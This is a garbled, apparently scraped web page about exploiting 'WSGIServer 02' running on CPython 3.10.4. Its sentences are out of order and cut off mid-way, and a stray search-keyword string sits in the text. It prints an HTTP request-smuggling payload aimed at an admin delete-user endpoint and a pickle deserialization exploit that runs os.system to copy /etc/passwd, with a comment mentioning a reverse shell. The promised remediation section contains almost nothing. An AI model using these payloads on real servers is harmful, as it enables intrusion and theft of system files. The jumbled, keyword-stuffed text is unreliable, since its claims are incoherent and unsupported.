An attacker sends a malformed HTTP request containing both headers.
The combination of WSGIServer 02 and CPython 3.10.4 introduces distinct attack surfaces. The most common exploitation vectors include: HTTP Request Smuggling
An attacker injects a malicious payload into a cookie or POST body. When CPython deserializes the object, it executes arbitrary operating system commands with the privileges of the web server. Path Traversal and Information Disclosure wsgiserver 02 cpython 3104 exploit
Securing your environment against these threats requires updating the stack and applying defense-in-depth strategies. 1. Upgrade Python and WSGI Software
The attacker crafts a raw HTTP request to bypass proxy restrictions: An attacker sends a malformed HTTP request containing
POST / HTTP/1.1 Host: vulnerable-target.com Content-Length: 44 Transfer-Encoding: chunked 0 GET /admin/delete-user HTTP/1.1 Host: localhost Use code with caution. Scenario B: Exploiting Pickle Deserialization
import pickle import os class Exploit(object): def __reduce__(self): # Executes a reverse shell or reads system files return (os.system, ('cat /etc/passwd > /tmp/compromised.txt',)) # The resulting string is sent as a session cookie to the WSGIServer print(pickle.dumps(Exploit())) Use code with caution. 🛡️ Remediation and Defensive Measures When CPython deserializes the object, it executes arbitrary
A specific release of the standard Python interpreter. This version contains known vulnerabilities related to handling environment variables and parsing specific string types. ⚠️ Core Vulnerabilities and Attack Vectors